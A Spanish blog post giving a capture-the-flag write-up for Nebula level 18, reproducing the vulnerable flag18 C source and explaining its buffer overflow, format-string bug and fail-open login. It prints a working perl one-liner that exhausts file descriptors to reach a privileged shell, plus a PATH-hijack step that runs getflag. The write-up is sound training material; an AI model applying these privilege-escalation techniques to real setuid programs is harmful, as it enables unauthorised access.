Solución Nebula Nivel 18

Como nos indican en las instrucciones de este nivel, existen tres formas de solucionarlo: fácil, media y difícil. Voy a contar cuales son y cómo resolverlo a través de una de ellas.


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
FILE *fp;

fp = fopen(PWFILE, "r");
if(fp) {
char file[64];

if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}

if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

globals.loggedin = 1;

}

void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}

void setuser(char *user)
{
char msg[128];

sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
char c;

while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}

dprintf("Starting up. Verbose level = %d\n", globals.verbose);

setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());

while(1) {
char line[256];
char *p, *q;

q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;

dvprintf(2, "got [%s] as input\n", line);

if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}

return 0;
}

Difícil:

Si os fijáis con detenimiento, veréis que existe un buffer overflow en la función setuser(), en el parámetro msg. Sería posible solucionar el reto a través de ésta vulnerabilidad, aunque yo personalmente lo descarté. La complicación reside en que el sistema tiene ASLR activado, y el binario ha sido compilado con SSP y NX. Saltarse las protecciones y desarrollar un exploit funcional, aunque posible, está un poco fuera de lugar habiendo otras dos maneras sencillas de hacerlo.

SSP Detecta el BoF

Medio:

Existe una vulnerabilidad de tipo “format string” en la función notsupported(). La solución más evidente desde aquí sería tratar de sobreescribir la variable globals.loggedin, de tal forma que se pueda invocar la shell sin problemas. Sin embargo, el programa ha sido compilado con FORTIFY_SOURCE, y aunque podemos leer posiciones de memoria con esta vulnerabilidad, cuando tratamos de sobreescribir la memoria, la ejecución es abortada.

Fortify Source evita el format-strings

La dirección utilizada pertenece al .bss y se ha calculado con anterioridad para que apunte a globals.loggedin. Tratar de sobreescribir el .dtors produce el mismo efecto. En realidad, cualquier sobreescritura producirá una violación de segmento o el mensaje que se ve en la captura. Otra posibilidad sería leer de memoria el password, ya que estará en la pila durante el transcurso de la función login(). Sin embargo, no creo que el password sea accesible desde la función notsupported() tras la ejecución de login(). Cualquier otra idea, será interesante leerla en los comentarios.

Fácil:

La forma sencilla de explotar la vulnerabilidad radica otra vez en conocer un poco acerca del funcionamiento de linux, en éste caso, conocer los límites de los procesos. Fijaos bien en la función login(), en el flujo lógico:


FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
...
}
globals.loggedin = 1;

Abre el fichero PWFILE, si lo abre satisfactoriamente, hace cosas con él. Si no, se acaba el “if” y te da acceso a la aplicación. Es un claro ejemplo de “fail open”. La pregunta evidente es: ¿cómo hacemos que falle la apertura del fichero? Al fichero en sí no tenemos acceso, así que no podemos cambiarle los permisos ni eliminarlo para que el programa falle. Sin embargo, seguro que habéis notado algo más, algo que falta. La función login() abre el fichero, pero no lo cierra. Esto es relevante cuando se añade el hecho de que un proceso tiene un máximo número de descriptores de fichero asignados. Cuando los agote todos, fopen() fallará.

1024 descriptores disponibles

Así que el truco va a consistir en invocar la función login() 1024 veces, y entonces el login fallará. Una vez que falle, fijará globals.loggedin a 1, y podremos invocar la shell. Veamos qué pasa.

Login+shell no funciona

Algo ha salido mal. Para ser más exactos, nuestra idea tiene un problema: cuando se va a ejecutar la shell, no quedan descriptores libres para ser utilizados por execve() durante la creación del proceso. Por suerte para nosotros, tenemos a nuestra disposición la llamada closelog, que cómo podéis ver, cierra el log, liberando un descriptor de fichero que nos viene muy bien.


} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
}

Así que a continuación vamos a llamar 1021 veces a login(), luego una vez a closelog(), y posteriormente a shell().

Algo no termina de funcionar aquí, pero hemos invocado la shell

El problema es que la shell se invoca con los parámeros que recibe el programa flag18, y no sabe interpretar el flag “-d”. Hay una funcionalidad de bash que podemos utilizar para sobrepasar este escollo, el flag “–init-file”. Éste flag hará que bash ejecute el contenido del fichero especificado. Aunque he intentado hacerlo de varias maneras, parece que lo único que consigo es que se ejecute el propio log del programa. Como el log del programa no contiene comandos reconocidos, la salida son un montón de líneas indicando que no encuentra el comando tal o cual.


level18@nebula:~$ perl -e 'print "login\n"x1021 . "closelog\n" . "shell\n"' | /home/flag18/flag18 --init-file /tmp/file -d /tmp/debug2.txt -vvv
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
/tmp/debug2.txt: line 1: Starting: command not found
/tmp/debug2.txt: line 2: got: command not found
/tmp/debug2.txt: line 3: attempting: command not found
/tmp/debug2.txt: line 4: got: command not found
/tmp/debug2.txt: line 5: attempting: command not found
/tmp/debug2.txt: line 6: got: command not found
/tmp/debug2.txt: line 7: attempting: command not found
/tmp/debug2.txt: line 8: got: command not found

La solución final, es crear un comando que se llame “Starting” o “got”, para que lo encuentre la shell, y que dicho comando ejecute nuestras instrucciones. Para ello, vamos a crear un script de bash llamado “Starting”, lo vamos a colocar en nuestro directorio actual, y vamos a añadir nuestro directorio actual al PATH, de tal forma que bash lo encuentre.

Creamos “Starting” en el directorio local

Y efectivamente en el fichero /tmp/flag18, tenemos el flag de éste nivel.


level18@nebula:~$ cat /tmp/flag18
You have successfully executed getflag on a target account

Con esto hemos cubierto todos los niveles de Nebula. Cualquier pregunta, en los comentarios.

¡Salud!

Anuncios
Tagged with: , , , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: